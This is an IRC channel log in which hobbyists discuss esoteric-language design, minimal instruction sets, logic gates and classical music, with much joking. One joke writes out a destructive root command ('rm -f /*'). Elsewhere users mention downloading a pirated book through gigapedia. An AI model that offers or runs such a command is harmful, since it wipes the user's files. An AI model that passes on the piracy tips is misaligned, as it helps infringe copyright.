implement a non-pattern matching scheme that can be replicatedwith non-anonymouse methods < 1267806317 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :due to being somewhat tired < 1267806359 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :right, "a b c" sends message "a" to cell or method "b" and then stores the result (or partial result, or whatever) in cell "c" < 1267806372 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, what about threads < 1267806382 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, you can do rather nice concurrency with message passing < 1267806391 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(see for example the non-esolang erlang) < 1267806418 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(which I used for more than one esolang interpreter) < 1267806418 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :You do like this: $ su -> # rm -f /* < 1267806423 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: coincidentally, trying to make pattern matching work with anonymous (unnamed) object is currently what I'm thinking about < 1267806439 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, wrt. befunge-111? < 1267806441 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I mean... it needs a name, so the pattern can match it, right? < 1267806448 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Frustrating :) < 1267806454 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: but seriously, I guess I could put it in, but it's besides the point < 1267806460 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: yeah, my predicament exactly < 1267806461 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no. < 1267806465 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :if you find a way, let me know < 1267806478 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, just a suggestion, I don't know how well it would fit into things < 1267806480 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :No patterns in Befunge-111... < 1267806502 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, true. Unless someone goes and spec PATS or something < 1267806521 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(pattern matching befunge sounds horrible) < 1267806533 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, there is REXP for posix extended regex < 1267806540 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and PCRE sounds like a nice fingerprint name I guess < 1267806546 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: right, sure, I'm always open to suggestions, but before I make this super complex, I need to work out the message parsing < 1267806559 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, right < 1267806690 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :on the complete flip side, I've also come up with another system that is way way easier. It's ASM like, but only has the commands: XOR, SHR, SHL, JMP. No conditional jumps, no add and friends, but I suspect it's turing complete. Oh, and it only has four registers and can only operate on two bits at a time < 1267806742 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :is the PC memory-mapped? < 1267806753 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, no, that's what JMP's for < 1267806758 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :http://dpaste.com/168372/ < 1267806760 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but presumably the program itself is memory-mapped < 1267806764 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :nope < 1267806777 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hiato: have you seen the various OISCs? < 1267806779 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :no self-modification < 1267806782 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :scarf: yep < 1267806788 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but this is unlike them in every way < 1267806792 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :there is no complex syntax < 1267806797 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :or conditional logic < 1267806808 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :or any logic except for XOR (which is not universal) < 1267806843 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but, through careful use of shifts and xors (and the clever trick of treating the registers as stacks), you can do all of what you need (I guess) < 1267806910 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hiato: ah, JMP is the unconditional computed jump, Malbolge-style < 1267806957 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Er, right < 1267806959 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267806985 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :the interesting thing is how to make it conditional < 1267807011 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :"For example, "J 0,b" will < 1267807012 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :jump back precisely one insruction iff. the IP is odd, otherwise < 1267807012 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :forward one if the IP is even. You have been warned. < 1267807031 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :makes it kind of fun, when using XOR's instead of fixed offsets < 1267807043 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's possible to get by without any conditional jumps at all in a language < 1267807053 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :by messing with arithmetic < 1267807061 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :really? < 1267807066 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267807109 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep; the idea is, say you have a /lot/ of variables < 1267807112 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :do you have an example? but, in this case, there is no way of doing anything except applying various XOR masks, which, in this case suggest some ofrm of universitatility for XOR < 1267807125 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :right < 1267807146 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :then whenever you would do something, instead of b=a, you do something along the lines of b+=(a-b)*x < 1267807159 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :where you can turn the command on and off by messing with the value of x < 1267807178 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that's the general principle; it would be interesting to see how few commands you can get away with < 1267807183 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Right, but in essence you then need to compute all posibilites and "filter" them < 1267807187 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267807217 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, if it turned out that your language was TC without computed jumps, you wouldn't need SHR either < 1267807223 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :as instead, you could shift every other variable to the left < 1267807231 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and just ignore the bottom bit for the rest of the program < 1267807235 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :as no command would care < 1267807242 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I see what you're saying < 1267807249 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :which would be a godsend < 1267807271 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :NAND is probably better than XOR for that sort of thing, as you can implement any other logical operation in terms of it < 1267807289 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I knew that one, but that's what I wanted to avoid < 1267807295 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but I'm not sure if you could get by with just four variables then < 1267807298 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :XOR is known to not be universal < 1267807306 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267807318 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :bceause it can't distinguish between 0 and 1 < 1267807325 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but with (really) two other commands and just four (or in essence) two variables, it would be enough < 1267807337 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :right < 1267807399 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :well actually, going back, because it only operates on the bottom two bits, I would need to keep shr < 1267807476 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, yes < 1267807479 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267807486 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and going back further, do you think it would be possible to write a programme in your a*(maybe 0) language that, without needing to evaluate all possibilities, could then write the bit that did need to? < 1267807493 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Also, in certain models of computation, XOR is the most complex function possible < 1267807502 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(monotone circuits) < 1267807516 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: it's annoying to implement even in hardware < 1267807522 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: well, I have it down for three transistors, two diodes and one resistor < 1267807531 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :there's a reason people talk about NAND rather than NOR as universal, which is that you can do NAND with just the one transistor < 1267807546 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hiato: DTL is pretty much an abandoned logic format nowadays < 1267807549 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Mixing transistors and diodes -- nice. < 1267807554 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :not in my world :) < 1267807564 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I can't remember why, but it was suboptimal somehow < 1267807578 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I imagine it takes a bit more power to drive < 1267807581 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267807584 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :was jsut about to say < 1267807612 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :as well as running into issues with a negative bias vs ground < 1267807631 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, it's slower, takes up more silicon space, and requires three power rails < 1267807639 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :there we are < 1267807645 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the last isn't quite an idea-killer, but the first two are < 1267807657 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but, for a hobby project, i cant see the fuss < 1267807674 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what does DTL stand for? < 1267807682 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :(which, might I add, is what SHI-3 is for, I wanted to build a RISC cpu) < 1267807690 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Diode-Transistor Logic < 1267807700 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267807737 0 :hiato!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1267807746 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, it seems practical NAND gates need at least two transistors < 1267807801 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh? < 1267807854 0 :hiato!~fdulu@dsl-245-10-22.telkomadsl.co.za JOIN :#esoteric < 1267807870 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :goddamn power failures < 1267807883 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :keep tripping the router < 1267807888 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION kisses his ups
< 1267807959 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, you need to put the router out of where you walk then < 1267807966 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of of the way of* < 1267807980 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: heh < 1267807999 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :interesting: 08:48:57 --- quit: hiato (Quit: Lost terminal) < 1267808008 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :what does that mean? < 1267808108 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hiato: it means that the terminal that the client was running in closed, or it thought it did < 1267808115 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's likely the client's response to a SIGHUP < 1267808294 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :ah, right, thanks < 1267808325 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: noone needs an ifile.it account < 1267808346 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :augur, I made one < 1267808351 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :why? < 1267808353 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it was quite difficult but I managed i < 1267808361 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I had to, to steal a book from the internet < 1267808366 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no you dont < 1267808521 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1267808556 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1267808563 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I don't know how to do it without an account < 1267808570 0 :MaXo2!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267808575 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :are you SEARCHING using ifileit? < 1267808579 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or just downloading? < 1267808594 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267808614 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because if you search through gigapedia you dont need an ifileit account to download < 1267808627 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :augur: okdponafpdunoadpounyafpdunyofpdoun < 1267808633 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :wut < 1267808720 0 :rishi__!~rishi@122.173.174.105 JOIN :#esoteric < 1267808734 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That sounds like a good name for an esolang < 1267808988 0 :rishi__!unknown@unknown.invalid PART #esoteric :? < 1267809044 0 :scarf_!~scarf@unaffiliated/ais523 JOIN :#esoteric < 1267809063 0 :scarf_!unknown@unknown.invalid NICK :ais523 < 1267809153 0 :scarf!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267809940 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Anybody have any new suggestions for what I do with the domain name sibeli.us? < 1267809973 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Prokofiev fan site < 1267809987 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ooooooh, burn to the S-man :P < 1267810134 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, it was intended more as an act of dada, than as a burn. < 1267810212 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But since you mention it, I've never cared for Sibelius much. < 1267810269 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267810275 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1267810322 0 :Asztal!~asztal@host86-162-151-221.range86-162.btcentralplus.com JOIN :#esoteric < 1267810434 0 :ais523!unknown@unknown.invalid NICK :scarf < 1267810485 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And since I am open-minded, I'm listening to a Sibelius concerto via youtube right now. < 1267810554 0 :scarf!unknown@unknown.invalid NICK :ais523 < 1267810565 0 :tombom_!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1267810623 0 :tombom!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1267810789 0 :oklokok!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267810795 0 :oklofok!~oklopol@dsl-tkubrasgw1-fe99f800-14.dhcp.inet.fi JOIN :#esoteric < 1267811097 0 :oklofok!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267811111 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And it's not doing much for me. < 1267811115 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Because I have taste. < 1267811116 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :OH < 1267811121 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :There's the burn. < 1267811189 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :A friend suggested a Sibelius-themed Generic Music Idol Band Hero Game < 1267811194 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION notes that maxbru.ch is also available
< 1267811213 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Unfortunately, I'm not Ch(inese?) < 1267811221 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :china's .cn < 1267811251 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I'm not (reverse domain lookup of .ch)ish. < 1267811255 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267811261 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Swiss, apparently. < 1267811417 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I wonder which language Swiss reduces to 'ch' in ... < 1267811469 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :probably Swiss < 1267811480 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if they have a language of their own < 1267811528 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I think there's some old native language nobody speaks there, but they usually speak German, French and/or Italian (?) < 1267811531 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It stands for "Confoederatio Helvetica" < 1267811552 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Which is, uh. Latin. < 1267811564 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :dedicated to stamping out Arial! < 1267811572 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Oh, naturally :P < 1267811581 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :ais523: LOL. < 1267811596 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And keep in mind, I never write "LOL" unless I actually laugh out loud. < 1267811602 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And do you have to be Swiss to own a .ch domain, or can we actually get maxbru.ch? < 1267811627 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: yay, another sacred defender of the meaning of the acronym LOL! < 1267811644 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I hardly ever use it even if I do laugh out loud, because people wouldn't know what I meant < 1267811647 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I generally use it that way, but I also laugh an embarrassing amount ... < 1267811661 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :I never write ROFL unless I actually roll on the floor laughing < 1267811667 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :ais523: *And*, I am in a cube at work, where it is currently pretty quiet. < 1267811674 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :and I never write IMHO unless my opinion is actually humble < 1267811681 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :lament: I don't think I've ever rolled on the floor laughing < 1267811690 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I never write lollercoptahs unless I have actually turned into an anthropomorphic laughing helicopter. < 1267811693 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i might have < 1267811698 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :loooool < 1267811708 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: trying very hard not to LOL. < 1267811713 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :anthropololic < 1267811768 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: same here < 1267811773 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and I would get in trouble for doing it in this office < 1267811782 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :a lolita is a small feminine lol < 1267811789 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267811804 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :lament: X-D < 1267811842 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :lament: Brilliance. < 1267812097 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :lament: Oh, so you never write IMHO at all then? :) < 1267812156 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I just use IMO, it's a lot more neutral < 1267812158 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :According to this bottle of Coke, I could win eighth notes, dollar signs or Tickets (with a capital 'T', because this is German) < 1267812160 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: His opinions are not humble. < 1267812163 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :IMHO/IMNSHO are just pretentious < 1267812176 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: is an eighth note 12.5¢? < 1267812176 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :IMHO, they are not pretentious. < 1267812181 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: That was the implication, yes. < 1267812197 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :IMHO comes out a bit more naturally after studying Japanese. < 1267812207 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Imm-ho < 1267812231 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :In my haughty opinion < 1267812241 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :In my naughty opinion < 1267812243 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :As do things like saying "probably" even when you're damned sure of something. < 1267812263 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The Earth is probably round. < 1267812346 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... In sufficiently formal Japanese, that sentence would be said. 【お世界は丸そうでございます。」 < 1267812361 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... s/【/「/ < 1267812381 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :http://www.toxel.com/tech/2010/03/04/cool-water-powered-jet-pack/ < 1267812383 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in Japanese, being impolite is grammatically incorrect, isn't it? < 1267812390 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: No. < 1267812405 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The impolite form of that is 世界が丸そう。 < 1267812410 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :ais523: politeness is meaningless if impoliteness is impossible < 1267812428 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : And since I am open-minded, I'm listening to a Sibelius concerto via youtube right now. <-- always found Sibelius somewhat "heavy" < 1267812429 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. < 1267812432 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1267812435 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :世界が丸い。 < 1267812454 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm I can't really express what I mean in English < 1267812464 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :So yeah, I guess since nobody's made any useful suggestions, I'll be makin' that Sibelius-themed Generic Music Idol Band Hero Game < 1267812465 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(literal translation of the polite sentence: The humble world, would appear to most humbly be round.) < 1267812473 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :ais523: the whole point of etiquette is that you're polite to your superiors, and they aren't polite to you < 1267812542 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: after i give a rigorous proof for something, i often add "or something like that" < 1267812569 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: What should I do with the domain name sibeli.us? < 1267812595 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: use it for the debonairly boorish fugues, etc < 1267812622 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: Heheh. < 1267812670 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : IMHO/IMNSHO are just pretentious <-- I prefer IMPBPNHO < 1267812694 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(not really) < 1267812720 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: are you a big fan of sib? < 1267812723 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :In my Peanut-Butter-Porn Not Humble Opinion < 1267812745 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: I am a neutral-to-moderate fan of Sibelius. < 1267812763 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I invoke rule 34 on that domain! < 1267812771 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :EWWWWW < 1267812772 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i probably know much less about his works than you, i'm a bit patriotically challenged < 1267812773 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what have I done... < 1267812812 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :OK, Sibelius-themed Generic Music Idol Band Hero Game it is :P < 1267812826 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I just don't like his music. Too heavy and too melancholic < 1267812847 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Then I'm sure you hate my music :P < 1267812861 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, not really, yours is somewhat technically interesting < 1267812867 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sibelius is not < 1267812875 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, if it wasn < 1267812898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wasn't* for the technical interesting parts of Liszt and Paganini I wouldn't really like those < 1267812902 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as it is, I do like them < 1267812919 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :same reason i like your mom < 1267812931 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... wow. < 1267812943 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I can't think of any snappy reply to that one... < 1267812961 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"Your mom is technically interesting" is ... maybe not an insult? Idonno. < 1267812978 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I have no clue < 1267812983 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't like it either way I think < 1267812985 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :For the same reasons that I'm not a fan of his music, he makes a good subject for an Orchestra Hero game or whatever < 1267813004 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, yeah, I would hate to see Kraus or Mozart subjected to that < 1267813004 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Now that's actually a compelling argument ... < 1267813009 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Or Vivaldi < 1267813028 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, so do you like Sibelius or not? < 1267813072 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I am a neutral-to-moderate fan of Sibelius. His music is not amongst the somewhat small selection I listen to regularly, because I don't like him enough for that, but he's well over the dislike line. < 1267813112 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Can't a guy have neutral opinions around here? P < 1267813113 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :*:P < 1267813166 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :maybe he can. < 1267813181 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :but then again, maybe not. It doesn't really matter. < 1267813187 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :imo < 1267813189 0 :Gregor!unknown@unknown.invalid TOPIC #esoteric :"Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | alise sighting counter currently out of sequence | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1267813212 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, what about Schönberg? < 1267813217 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it sounds like the thing you would like < 1267813234 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I don't have a mental picture of his music off-hand, so Idonno. < 1267813247 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And there is no .rg as far as I know anyway ;) < 1267813249 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, disharmonic < 1267813260 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, 12 tone scale and all that < 1267813284 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Twelve-tone_technique < 1267813313 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pdqba.ch is available :P < 1267813323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, yeargh < 1267813331 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, is there .rt? < 1267813336 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :moza.rt < 1267813341 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :vival.di? < 1267813342 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Already checked. < 1267813347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, hay.dn? < 1267813360 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, hand.el? < 1267813360 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Besides, these names are all too famous, they'd certainly have been bought. < 1267813388 0 :Gregor!unknown@unknown.invalid 